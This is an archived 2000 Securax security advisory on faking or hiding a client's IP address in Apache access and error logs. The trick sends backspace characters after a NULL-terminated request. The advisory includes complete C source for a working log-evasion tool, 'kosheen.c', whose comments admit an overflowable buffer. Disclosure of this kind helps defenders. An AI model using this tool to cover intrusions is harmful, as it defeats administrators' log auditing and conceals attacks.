TUCoPS :: Linux :: General :: sax12.txt

Remote hiding from access_log and error_log


=============================================================================
Securax-SA-12                                               Security
Advisory
belgian.networking.security
Dutch
=============================================================================
Topic:          Remote hiding from access_log and error_log
Announced:      2000-12-28
Affects:        Logfile auditing with tools that print the contents of the
                file to the screen.
=============================================================================


 Note: This  entire  advisory has been based upon trial and error
       results. We can not ensure the  information below is 100%
       correct.  This document is subject to change without prior
       notice.

       If you happen to find more information, solutions, ... about the
       below problem  or further  varients please contact me on the
       following email incubus@securax.org, or you can contact the
       Securax crew by e-mail at info@securax.org.


 I.  Problem Description
 -----------------------

 When the backspace charachter is sent,  after a NULL terminated
request, we will get a answer,  the page we requested,  but our entry in
the access_log file is kinda altered. We can overwrite our IP address
when someone wantsto cat the logfile to the screen or maybe also to a
device (such as: /dev/lp0), althougt..  this cat to 'devices' thing is
not tested by me, but will someone ever print his entire access_log? I
don't think so.

 So,  this can only be done when some site administrator is checking his
logs with 'cat' or 'tail' or such, which is often used in addition with
grep.


 Example
 -------

 1.)
  [incubus:~]$ nc 10.0.0.4 80
  GET /index.php HTTP/1.0
  <html>
  <head>
  ...
  content (output) of index.php
  ...
  [incubus:~]$

 2.)
  [incubus:~]$ ./localghost 10.0.0.4 index.php
  <html>
  <head>
  ...
  content (output) of index.php
  ...
  [incubus:~]$


 Hmm.. not very interesting eh? Well, let's take a look at the webserver's
 side:


 1.)
  [root@test logs]# tail -n 1 access_log
  10.0.0.2 - - [27/Dec/2000:04:42:26 +0100] "GET /index.php HTTP/1.0" 200
2362
   /* 10.0.0.2 is the IP of the attacker */

 2.)
  [root@test logs]# tail -n 1 access_log
  31.3.3.7 - - [31/Feb/1492:01:23:45 +3133] "GET /index.htm HTTP/1.1" 200
2362


 Unfortunaltely, if you open access_log in any decent editor, it will notice
 the '\x08' chars ( \x08 == backspace), and display 'em as dots.

 If you want to display a fake ip address, you'll have to calculate the
length
 of the entry in the log file. I suggest you keep the fake ipaddress as
*real*
 as can be, because 31.3.3.7 is more suspicious than, let's say
207.46.230.229


 II. Impact
 ----------


 This is not really a vulnerability, but it can be used in cgi scanners
 or something, i don't know.  This source was coded and compiled on a
 slack7 linux (2.2.17) box, and tested against a Apache 1.3.14 server.

 /* --| BOF |-- */

 /*
    kosheen.c - hides you from logfiles
    -----------------------------------
    "i'll hide you, away from danger"; -kosheen, 2000

    This will display false values in a remote site's access_log
    and error_log.  Read Securax Advisory #12 for more info.
    (http://securax.org/pers/scx-sa-12.txt)

    Got the title of this source from the radio, and guess what song
    they were playing. :)

    All my love to Tessa.
    Maximum respect to vorlon, cicero, root-dude, lamagra, f0bic, Zoa,
    zymo, sentinel, woshy, bob, suPC, uptx, and all great ppl i forgot...

    by:
    incubus
   <incubus@securax.org>
 */

 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <netdb.h>
 int usage(char *progname);
 int main(int argc, char **argv){
    int sock, i;
    char buf[4096];  /* change this value !! */
    struct sockaddr_in sin;
    struct hostent *he;
    if (argc < 3) usage(argv[0]);
    if ((he=gethostbyname(argv[1])) == NULL){
 fprintf(stderr, "Unknown host\n\n");
 exit(1);
 }
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) herror("oops: ");
    sin.sin_family = AF_INET;
    sin.sin_addr = *((struct in_addr *)he->h_addr);
    sin.sin_port = htons(80);
    bzero(buf, sizeof(buf));
    strncpy (buf,"GET /", 5);
    strcat (buf, argv[2]);  /* okay.. overflow this buffer and get a
                               errm.. crappy non-suid shell!  :)
          So, don't mailbomb me this is overflowable */

    strncat (buf," HTTP/1.0\x00", 14);
    for (i=0; i< 600; i++) strncat(buf,"\x08", 1); /* change the 600
                                                      if you are using
            quiet large url's */
    /*
    Uncomment next line (and change) if you want a fake address displayed
    strcat (buf,"31.3.3.7 - - [31/Feb/1492:01:23:45 +3133] \"GET /index.htm
HTTP/1.1");
    */

    strncat (buf,"\r\n\r\n", 4);
    if (connect(sock,(struct sockaddr *) &sin ,sizeof(sin)) < 0){
        herror("connect() failed\n");
        exit(1);
        }
    send(sock, buf, sizeof(buf), 0);
    bzero(buf,sizeof(buf));
    recv(sock, buf, sizeof(buf), 0);
    printf ("%s", buf);
    close(sock);
    }

 int usage(char *progname)
    {
    fprintf (stderr, "\nHmm.. Better use it like this: \n");
    fprintf (stderr, "\t%s <server> <page>\n", progname);
    fprintf (stderr, "\tWhere: <server> is the hostname.\n\t       ");
    fprintf (stderr, "<page> is the file you want.\n");
    fprintf (stderr, "  by incubus\n   <incubus@securax.org>\n");
    exit(1);
    }

 /* --| EOF |-- */


 III. possible workarounds
 -------------------------

 possible workarounds :: - Don't use 'cat' and 'tail' (and similars) for
                           logfile checking, but a good editor.

 IV credits
 ----------
 As mentioned in the .c file:
 Tessa, vorlon, cicero, zoa, F_F, rootdude, t-omicr0n, toshywoshy, segfault,
 f0bic, lamagra, steven, zymot1c, sentinel, [--bob--], alien, axxess, telar,
 prizm, {} and devilish.

 Also greets to the many, many people i forgot to mention.

 hmm.. kinda thanks to the people of kosheen for the name.  :)

 incubus (incubus@securax.org).


============================================================================
 For more information
incubus@securax.org
 Website
http://www.securax.org
 Advisories/Text
http://www.securax.org/pers
 ---------------------------------------------------------------------------
-

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH